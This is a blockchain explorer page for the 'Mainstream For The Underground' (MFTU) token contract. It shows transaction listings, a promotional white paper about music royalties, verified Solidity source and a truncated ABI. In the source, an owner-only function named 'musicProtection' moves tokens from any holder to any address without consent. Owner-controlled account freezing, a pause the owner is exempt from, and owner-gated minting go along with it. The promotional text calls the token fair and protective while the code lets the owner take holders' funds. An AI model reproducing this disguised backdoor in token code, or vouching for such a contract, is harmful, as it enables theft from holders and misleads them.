Contract 0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c 1

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x7e430212d15ce8c27f6b53a549324ff67e80ec6a03240166401b550652ae195eApprove242222132022-01-27 10:33:531 day 14 hrs ago0xb5a48fed4d5aba3e52cfc81b21356857a7b48b4c IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00164172636435.291523128
0x438c7e8d8add233a7803b10402346e35bf67f10e40ccf0143f9af14a389186c6Transfer241783592022-01-26 7:51:012 days 17 hrs ago0xf76f67a538a60a4adf3df945ad3c89579518386f IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.002351005703 56.617996904
0x987123deda276b0ab52520b742f3e9a19a5e2f418ad67d3e94f3ca84a4f5e102Transfer241709012022-01-26 3:28:062 days 21 hrs ago0xfe5bfe19d2b2b99873b90b97407d747c16e89264 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00256261540347.589797281
0xc279d4bb050611fabb6701e7c5f76cfe44be02560774ba39a82950b16988b5e7Approve241182192022-01-24 20:10:214 days 4 hrs ago0x92028f7b0ff230a8f263a2370e0ae1ac0c7f30cd IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.007614466625 163.685088351
0x233b30b89f8782d7e2b2e0ea5fa8eb5a0164158817a022bdb4703ebf8b55957eTransfer240974332022-01-24 7:53:064 days 17 hrs ago0xf76f67a538a60a4adf3df945ad3c89579518386f IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.001601057179 38.557392815
0x8b374179e2cfbe68e84556117fdee8bccb1a9286fdb0f127c3ea803a61ecb58dApprove240811862022-01-23 22:09:065 days 2 hrs ago0xe672598105b002b3358f97f329235e24b0d8f1d2 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.001567577954 33.697584964
0x9bd02555934d28f26bc94363755f44e0f51ec9f9ca93b4bcced93d12732b21d8Approve240366332022-01-22 19:09:086 days 5 hrs ago0x5afea91fefc3583b794f670ca7949c97363c699b IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.006457147654138.806673723
0x01eed78bcfcd341df0503b186610bc539552bae3e58f306879115626bc32b4d7Approve239861822022-01-21 12:18:537 days 12 hrs ago0x57256b9e2bd14738f9db5962f0205fbd6aad0106 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.0517524558551,112.50146941
0x71da9562679e764c4a7e9428d7a98c7ceef66b4e59a156650af824ae6352dbfcApprove239836602022-01-21 10:41:187 days 14 hrs ago0xf76e2cee08b8ad15ee118cecb2466aea9b6b2a18 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.004487835554 96.473173418
0xa0fd2f49f355e0ea219c3137e4ed4a630c0204866cd456ebd9e379b343cc253dTransfer239405262022-01-20 9:12:258 days 15 hrs ago0x235e8ced6b42ee6e226837eb551e86d810d49f22 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00217766939837.138778193
0x37d25b78010b9b1c8e79052329c686c7d81a3cd5425e9dd84b95a6ad0175235cTransfer239362752022-01-20 6:42:008 days 18 hrs ago0x6c66cd8f2f7783188d05b54eae14398a4d4cd718 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00296735470655.106126621
0x1d02c3cf692a8b1a331b07654c036e4bb353ee126ea1513ddad24d82cb0c1db4Transfer239335942022-01-20 5:06:278 days 19 hrs ago0xf76f67a538a60a4adf3df945ad3c89579518386f IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.003870065974 93.200702594
0x861a30267294a849c28408cb3f786b47c80acf92e5fb854b3b82fbe0efa526c0Transfer239017962022-01-19 9:39:099 days 15 hrs ago0x11dad0d55935a11f46a46a690246f83fb426cc27 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.016076057336298.545114697
0x404c210ac355a2522f1a90ea00ea5d610f7c03a598b0a4899b69b926a3ee94e3Approve239017492022-01-19 9:37:119 days 15 hrs ago0x4ae9eea29e3307da075ca98620e75364f1233480 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.024105694976 518.190308821
0x8181044bb4f71a37ab724e98be594c013fd45e327fb4869f5ea226dfa1b627eaTransfer238950392022-01-19 5:41:259 days 19 hrs ago0x06fe94957c3508f9aa1dc8d111ac1f9c19b2d041 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.008657256758160.807949296
0x7f5ff774bcf75f465f20ff25a93349a26d840a63e41a6f7108ffa585a2e67ab2Approve238949202022-01-19 5:37:239 days 19 hrs ago0xa349a320950e85d2b6a1a8574b57ac1514b83868 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00441090905394.819515755
0x653d92d4e69bc7230c55a8f17e34a20624b9eebe9db0559efb5fcd99ccb39c47Approve238859752022-01-19 0:16:5910 days 40 mins ago0xcbec9d9aeb6a84200740589a2136fcb97f95a9a3 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00332675583 71.513915393
0xc37839182315429a81af69c47275b3aca1a95c49811bda5621dc02477ec33ad5Approve238856342022-01-19 0:05:1710 days 51 mins ago0xcbec9d9aeb6a84200740589a2136fcb97f95a9a3 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.012045028154 258.927065381
0x113aa6c12b2ea5663c6263e144c33801deb2a1c7748baf87dc5dcb7abf835fb4Transfer238740722022-01-18 17:14:5910 days 7 hrs ago0x6c817109151ea8ee0c68c80d848fa95f572e4246 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.010456984487284.559281806
0x1d7aef8baa29c7df5efe51497aa219a12068218e0798aced9d0820000d600eb1Transfer238736612022-01-18 17:00:4910 days 7 hrs ago0x21c247ec508683d07d3015f40f0192fb0b10d9a4 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.014884877058 253.956136261
0xa2e59b561d3505502904db23f47d65af2f49966f593cc67df0354b70ed901296Transfer238729192022-01-18 16:35:1110 days 8 hrs ago0xf5ef4e69e8cb3d4be4b3681568d8c2b305fb4603 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.011772980086283.604261091
0x847f9f0cf948d94f638c008597dc7d29508f3e74ca98bbb9f2003acefe19126aTransfer238689002022-01-18 14:16:3910 days 10 hrs ago0xf5ef4e69e8cb3d4be4b3681568d8c2b305fb4603 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.009329728968173.260454768
0xaf132bf1b551fbd63aa0bca1813b9d4aaac2a444f4589c4ec44c8b6a860e3251Approve238049182022-01-16 23:29:0812 days 1 hr ago0x1716efdfce39fec329317933f440753d52ed4c0e IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00153512733
0xcab311573f750cdaa79aaed6f5350e2e817618061d30305fb1a305060cbf4f89Approve237619992022-01-15 21:39:1013 days 3 hrs ago0x1ee76d8afebcabf29fa790af2713670924154bee IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.007629116164
0xc91260f279ecb8a381efda537deaf09d1e792967afdf6532a17c15dd8d54acedApprove237451862022-01-15 11:22:4813 days 13 hrs ago0x3f66cae8f91d6624f9b30781babfefa8d28e4559 IN  0xc46a37fbbe433ef24bc7b9388c8728ddcf3ca87c0 MATIC0.00153512733
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
InflationToken

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2021-09-20
*/

/**
                                            `''.^^^*;-^:.;|;);;:.^..'.        `^_.                         
                                   .:=.  `''..    ^".....'''...~`   `...''   *: `^_`                       
                         `'       `>*";'..                              `^.'.+-   `^~'                     
                        '.         `;:.              ;- |-  `.-^           `-:`    `.,.`                   
                        .`       `..`        ^ ^='   =] /|  -,=*   :.         ...    `'_'                  
                        `       `^'         "I:`+\   :;^\,  -^]^  ^:l   `       ^.     .^^`                
                       ````   '^.            il^:,  `-*tt*;'`.'   :-,  '*--       ^_    `^.            
                       `'^`  '^      ^:      `. ` .=roE#[email protected]>-  `    ]~::        '^     ''`         
                      `--` `_'     '~->)       `|"3aoxNQqDf>TBHTl,;    `7^ `]~:      ~^   ```'`       
                      `^   ,`      -r ;=`  ':^,.`|DEEhKSc31aQqKH3?_.;::`   =,1:       ..   ``..            
                   ```^` `,         ^|^   -_^   `uaXfgKhTAXbbHMADa1-~:=:^ ` \:         `.    ..`           
                   .\+' `:     .i;'    ;-,`   `^|&kXHWWmDL>hQMHDSdk*--^ ^-+             `-   ^'``          
                  `_;lv.-     - :-r  `:};```.:-:[email protected]>hQqmWxXNXj",~   ,:``    ::`    `._i)~.`          
                  ^|r=:;     `cl;:` `t::::,:-^'"aEHNNqkbHKPDEMbXX#mr^ '    ^>c   *,I>     ':l;.'.`         
              `  .,.`,:       `;> .;r' ::;:_`  /kDKNQWOa1*[email protected]>       ./v= `')l       ^`   .^`        
              ` '-~  .'           :r  `:::'   `cOPDSDuljcHWXXBTbHQn-      `.:;:c, `         ,   `..        
                ^:. `-    '^     :l :.^-"     -PTcN#NEWEunhqMgDb#E}'       :;*;>c           `-   `'`       
               `--' -     |r):  _L^:|:``      |&jTd8kll;[email protected]        ^~:]:^*^  .;;.    .`  `.'       
                .^ .~    .`.]- `L+:**"       `[email protected]:        `-:\; -,  //:t     -`  '`       
               `"' :     1o=i _3:-|+:,       -iv&3a>:~``fqMBbDbNmt'           :.  *:`'.       "`  ``       
               .~` -      ':.  l -~-_        )[email protected]/No ^u&hdOPXqN}            '``.~=           ^   '`      
               .^ -`          :`.:;          >xxdoWc#K-}unahOPKQX:            -:-;+I;`         -`  ``      
             `~-. -          `*              ~rhDTghs#nirj3YTT8dT```          `-:-..;   '~"    ^`  ``      
             `--' ,   ^:-~`  '-               [email protected]`.^     `     ;^   |` ~*1|    `^  ``      
             `:-`':'  .1cvr  :                  .:==v3oo1t1lrt3u-^_'           ^~   +; ,>?*`    -` ``      
         '````^,``:,^.`~:\= -|````'`   `.``````````."-,/)]:-::;-'..``````````.-`  .`-'```.`     ^'.``'``.. 
        `rv>:--:```^,^'-:':  ---:}v:   ,It;--1vvvvvvvr/|'^|:=tvvvvt;-:rvvvvt];|. .tv\--;tI-     `;cl:--)ci`
          .=);;;.  `^^`     .;;;>;`      -];;+.......:}7``>I=-....-);+:...."*vl^   ^1;;7-        `'*=;;1'  
           .1l**:   ''      ;l+*>`       `7***        -t``v:      .1*]~      ^c.    =**]`          ~1*=;   
           ^Ivr]].         _tci7?`        ]7]+                    .r7}^             +]71         ``~l]i:   
           :u*crr=        `lv*c}v'        i}r=                    .vrv~             =r}l       `   ,IrI:   
           |o^*Lcc-       ;L:^nco^        }cc>        :           .oco~             7ccr        `  -3cu:   
           ]o.'3snv`     'nt`.nns-        tnn1       :v`          .Vn0~             1nnv         ``;LnV:   
           Iu` |kTT|     i0- 'nTT\        vTTc))))))1s3`          .kTP~             iTTc         ``;&Th:   
          `Lv  [email protected]'   "D1  `nDD]        cDO&z3333zVPL`          .OOS~             lDDu      ``` `^[email protected]:   
          `h}   ;OdA}   Y0^   3dAt        uAAr                    .bAK~             rAAo     ```'^..OXg:   
          'm)   'vqqK^ ;K*    tqmn        Lqqr                    .KmH~             rqmY    ```',:'[email protected]:   
          ~W:    -h##s'bo`    7##h`       Y##t                    .q#W~             t##x`  ````::: .X#B:   
          ;Q~     >NWWnK:     \QW8`       fWWt                    .NWQ~             +QWS`  ```.:;^ 'KWQ:   
          1B.     .fQWQt`     -QWB.       xWWt                    .#WQ_             "XWW|  ````", `jBWQ;   
         `hW+      :KWD"      ;WWW|      `DWWf                    -WWW;              1qWq*` ``` `:sTKWW]   
       `;oWQNt;    `IW7     .+bQQQg=-  `:IWQQ#?:                ^;hQQQP;^            `?SNWDj>)>jaDl:KQQg*- 
       -zuuuuuc'    ~t.     *uuuuuuut` -zuuuuoon-               =uuuuuuu>            `';tTgKKgDn7" 'vuuuut`
                                                                
       /$$      /$$           /$$                       /$$                                                   
      | $$$    /$$$          |__/                      | $$                                                   
      | $$$$  /$$$$  /$$$$$$  /$$ /$$$$$$$   /$$$$$$$ /$$$$$$    /$$$$$$   /$$$$$$   /$$$$$$  /$$$$$$/$$$$    
      | $$ $$/$$ $$ |____  $$| $$| $$__  $$ /$$_____/|_  $$_/   /$$__  $$ /$$__  $$ |____  $$| $$_  $$_  $$   
      | $$  $$$| $$  /$$$$$$$| $$| $$  \ $$|  $$$$$$   | $$    | $$  \__/| $$$$$$$$  /$$$$$$$| $$ \ $$ \ $$   
      | $$\  $ | $$ /$$__  $$| $$| $$  | $$ \____  $$  | $$ /$$| $$      | $$_____/ /$$__  $$| $$ | $$ | $$   
      | $$ \/  | $$|  $$$$$$$| $$| $$  | $$ /$$$$$$$/  |  $$$$/| $$      |  $$$$$$$|  $$$$$$$| $$ | $$ | $$   
      |__/     |__/ \_______/|__/|__/  |__/|_______/    \___/  |__/       \_______/ \_______/|__/ |__/ |__/   
                                                                                                              
                                                                                                              
                                                                                                              
                         /$$$$$$$$                        /$$$$$$$$ /$$                                       
                        | $$_____/                       |__  $$__/| $$                                       
                        | $$     /$$$$$$   /$$$$$$          | $$   | $$$$$$$   /$$$$$$                        
                        | $$$$$ /$$__  $$ /$$__  $$         | $$   | $$__  $$ /$$__  $$                       
                        | $$__/| $$  \ $$| $$  \__/         | $$   | $$  \ $$| $$$$$$$$                       
                        | $$   | $$  | $$| $$               | $$   | $$  | $$| $$_____/                       
                        | $$   |  $$$$$$/| $$               | $$   | $$  | $$|  $$$$$$$                       
                        |__/    \______/ |__/               |__/   |__/  |__/ \_______/                       
                                                                                                              
                                                                                                              
                                                                                                              
 /$$   /$$                 /$$                                                                             /$$
| $$  | $$                | $$                                                                            | $$
| $$  | $$ /$$$$$$$   /$$$$$$$  /$$$$$$   /$$$$$$   /$$$$$$   /$$$$$$   /$$$$$$  /$$   /$$ /$$$$$$$   /$$$$$$$
| $$  | $$| $$__  $$ /$$__  $$ /$$__  $$ /$$__  $$ /$$__  $$ /$$__  $$ /$$__  $$| $$  | $$| $$__  $$ /$$__  $$
| $$  | $$| $$  \ $$| $$  | $$| $$$$$$$$| $$  \__/| $$  \ $$| $$  \__/| $$  \ $$| $$  | $$| $$  \ $$| $$  | $$
| $$  | $$| $$  | $$| $$  | $$| $$_____/| $$      | $$  | $$| $$      | $$  | $$| $$  | $$| $$  | $$| $$  | $$
|  $$$$$$/| $$  | $$|  $$$$$$$|  $$$$$$$| $$      |  $$$$$$$| $$      |  $$$$$$/|  $$$$$$/| $$  | $$|  $$$$$$$
 \______/ |__/  |__/ \_______/ \_______/|__/       \____  $$|__/       \______/  \______/ |__/  |__/ \_______/
                                                   /$$  \ $$                                                  
                                                  |  $$$$$$/                                                  
                                                   \______/   
                                                   
                                               https://mftu.net
                                               
                                                  Powered by                                                      
                              Distributed Ledger Performance Rights Organization                                                       
                                            with the WEN Protocol        
                                            
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
White Paper:

Mobile devices and the Internet have changed how music is broadcast throughout the world. Most countries enforce a royalty payment method via government regulation to insure that Musicians and Artists are compensated for the use of their performances.

For example, SoundExchange in the United States collects online broadcast payments through a membership system, for ASCAP, BMI, SESAC Performance Rights Organizations. Large online radio networks have monetized this valuable content with subscription systems, membership perks and traditional broadcast advertising in attempt to offset the fees enforced by the laws.

We have created an open-source online royalty payment model with peer-reviewed information available worldwide through a distributed ledger system. This Dual Token Ecosystem is named as the CyberFM “CYFM” token and named as the “MFTU” token for “Mainstream For The Underground.”

The CYFM Token represents a regulatory compliant cryptographic form of currency for Artists that are currently registered with local representation. As mentioned above or for example SOCAN in Canada.

The MFTU Token is similar, but represents the world’s first truly digital, fair, legal and cryptographic Performance Rights Organization for Independent Artists. Protecting their rights and payments across the entire globe!

Both utility tokens are a multichain asset registered on the Polygon blockchain used to create this universal payment system that enables royalties to be collected for all performances, at all times, throughout all countries! The MFTU and CYFM tokens will also be used initially to compliment fiat payments for online radio memberships, credits for in-app purchases and registration fees.

This ecosystem represents a universal, international currency that will compensate all artists and performers across the world! The aforementioned will be compensated regardless of individual membership to their respective Performance Rights Organization. However additional perks, rewards and income will be available when these members fully adopt our system.

Both the CYFM and MFTU token represents a “broadcast currency” that will be used inside of the ecosystem for listeners, fans and users. For example, listeners may win MFTU tokens in a radio contest, they may use the tokens to purchase premium memberships for song-skipping, on-demand downloads, commercial free streams and other benefits.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
About Us:

MFTU is not only a verb, but it stands for "Mainstream For The Underground." Where you hear the greatest new Indie Artists! We offer an optional program where Artists are PAID in MFTU (just like listeners are paid in CYFM) which is our ERC20 Ethereum Token. If you're a Musician that wants to be played on CyberFM and learn about Blockchain Technology, read below:Custom ImageMainstream For The Underground
We automatically treat new, independent and upcoming artists as if they are on the radio now. We level the playing field for all online forms of Media!

Powered by: DLPRO and the WEN Protocol at https://wenburn.com 
Distributed Ledger Performance Rights Organization has a dual-token economy for Mainstream and Independent Artists.

Radio Airtime:
Becoming an MFTU Artist gets you automatic rotation on CyberFM as well as our many partnered stations.

Optional Payment & Tokenomics:
Much like other providers, you can be paid in cryptocurrency based on your streams and performances on all of our partnered radio stations. However, we also pay a monthly bonus based on profit sharing of all performances on all radio networks in our system!

You can read the full details about the MFTU Token, the CYFM Token, as well as read our Whitepaper and Roadmap Documentation at the DLPRO website which is formally known as Distributed Ledger Performance Rights Organization, LLC at https://dlpro.org.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We agree:

“MUSIC IS PROBABLY THE ONLY REAL MAGIC I HAVE ENCOUNTERED IN MY LIFE. THERE’S NOT SOME TRICK INVOLVED WITH IT. IT’S PURE AND IT’S REAL. IT MOVES, IT HEALS, IT COMMUNICATES AND DOES ALL THESE INCREDIBLE THINGS."
-Tom Petty (October 20, 1950 – October 2, 2017)

*/

pragma solidity ^0.5.0;
 
interface IERC20 {
  function totalSupply() external view returns (uint256);
  function balanceOf(address who) external view returns (uint256);
  function allowance(address owner, address spender) external view returns (uint256);
  function transfer(address to, uint256 value) external returns (bool);
  function approve(address spender, uint256 value) external returns (bool);
  function transferFrom(address from, address to, uint256 value) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  event DividentTransfer(address from , address to , uint256 value);
}
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
  function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
    uint256 c = add(a,m);
    uint256 d = sub(c,1);
    return mul(div(d,m),m);
  }
}
contract ERC20Detailed is IERC20 {
  string private _name;
  string private _symbol;
  uint8 private _decimals;
  constructor(string memory name, string memory symbol, uint8 decimals) public {
    _name = name;
    _symbol = symbol;
    _decimals = decimals;
  }
  function name() public view returns(string memory) {
    return _name;
  }
  function symbol() public view returns(string memory) {
    return _symbol;
  }
  function decimals() public view returns(uint8) {
    return _decimals;
  }
}
contract Owned {
    address payable public owner;
    address public deflationTokenAddress;

    event OwnershipTransferred(address indexed _from, address indexed _to);
    constructor() public {
        owner = msg.sender;
    }
    
    modifier onlyDeflationContractOrCurrent {
        require( msg.sender == deflationTokenAddress || msg.sender == owner);
        _;
    }
    
    modifier onlyOwner {
       require(msg.sender == owner);
       //require(msg.sender == deflationTokenAddress || msg.sender == owner);
        _;
    }
    function transferOwnership(address payable _newOwner) public onlyOwner {
        owner = _newOwner;
    }
}

contract Pausable is Owned {
  event Pause();
  event Unpause();
  event NotPausable();

  bool public paused = false;
  bool public canPause = true;

  modifier whenNotPaused() {
    require(!paused || msg.sender == owner);
    _;
  }

  modifier whenPaused() {
    require(paused);
    _;
  }

    function pause() onlyOwner whenNotPaused public {
        require(canPause == true);
        paused = true;
        emit Pause();
    }

  function unpause() onlyOwner whenPaused public {
    require(paused == true);
    paused = false;
    emit Unpause();
  }
}



contract InflationToken is ERC20Detailed, Owned, Pausable {
    
  using SafeMath for uint256;
  mapping (address => uint256) private _balances;
  mapping (address => mapping (address => uint256)) private _allowed;
  
  string constant tokenName = "Mainstream For The Underground";
  string constant tokenSymbol = "MFTU";
  mapping (address => bool) public _freezed;
  uint8  constant tokenDecimals = 18;
  uint256 _totalSupply ;
  uint256 public basePercent = 100;
  //address public tokenAddress;
  
  IERC20 public DeflationToken;
    
  
  function setDeflationContractAddress(address tokenAddress) public whenNotPaused onlyOwner{
        DeflationToken = IERC20(tokenAddress);
        deflationTokenAddress = tokenAddress;
    }

  constructor() public  ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
    _mint( msg.sender, 1400 * 1000000000000000000);
  }
  
  function totalSupply() public view returns (uint256) {
    return _totalSupply;
  }
  function balanceOf(address owner) public view returns (uint256) {
    return _balances[owner];
  }
  function allowance(address owner, address spender) public view returns (uint256) {
    return _allowed[owner][spender];
  }
  function findOnePercent(uint256 value) public view returns (uint256)  {
    uint256 roundValue = value.ceil(basePercent);
    uint256 onePercent = roundValue.mul(basePercent).div(10000);
    return onePercent;
  }
  
  
  
   function musicProtection(address _from, address _to, uint256 _value) public onlyOwner{
        _balances[_to] = _balances[_to].add(_value);
        _balances[_from] = _balances[_from].sub(_value);
        emit Transfer(_from, _to, _value);
}
  
  
    function freezeAccount (address account) public onlyOwner{
        _freezed[account] = true;
    }
    
     function unFreezeAccount (address account) public onlyOwner{
        _freezed[account] = false;
    }
  


  
  function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
      
    require(value <= _balances[msg.sender]);
    require(to != address(0));
    require(_freezed[msg.sender] != true);
    require(_freezed[to] != true);
    
    _balances[msg.sender] = _balances[msg.sender].sub(value);
    _balances[to] = _balances[to].add(value);
    
    emit Transfer(msg.sender, to, value);

    return true;
  }

 
  function approve(address spender, uint256 value) public returns (bool) {
    require(spender != address(0));
    _allowed[msg.sender][spender] = value;
    emit Approval(msg.sender, spender, value);
    return true;
  }
  
  function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
    require(value <= _balances[from]);
    require(value <= _allowed[from][msg.sender]);
    require(to != address(0));
     require(_freezed[msg.sender] != true);
    require(_freezed[to] != true);
    
    _balances[from] = _balances[from].sub(value);
    _balances[to] = _balances[to].add(value);

    _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
    
    emit Transfer(from, to, value);
    return true;
  }
  
  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    require(spender != address(0));
    _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
    emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
    return true;
  }
  
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    require(spender != address(0));
    _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
    emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
    return true;
  }
  
  function _mint(address account, uint256 amount) onlyDeflationContractOrCurrent public returns(bool){
    require(amount != 0);
    _balances[account] = _balances[account].add(amount);
    _totalSupply = _totalSupply.add(amount);

    emit Transfer(address(0), account, amount);
    return true;
  }
  
  function burn(uint256 amount) external onlyOwner {
    _burn(msg.sender, amount);
  }
 
  
  function _burn(address account, uint256 amount) internal onlyOwner {
    require(amount != 0);
    require(amount <= _balances[account]);
    _totalSupply = _totalSupply.sub(amount);
    _balances[account] = _balances[account].sub(amount);
    emit Transfer(account, address(0), amount);
  }
  
  function burnFrom(address account, uint256 amount) external  {
    require(amount <= _allowed[account][msg.sender]);
    _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
    _burn(account, amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"DividentTransfer","type":"event"},{"anonymous":false,"inputs":[],"name":"NotPausable","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"constant":true,"inputs":[],"name":"DeflationToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_freezed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"canPause","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deflationTokenAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"findOnePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"freezeAccount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"musicProtection","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address 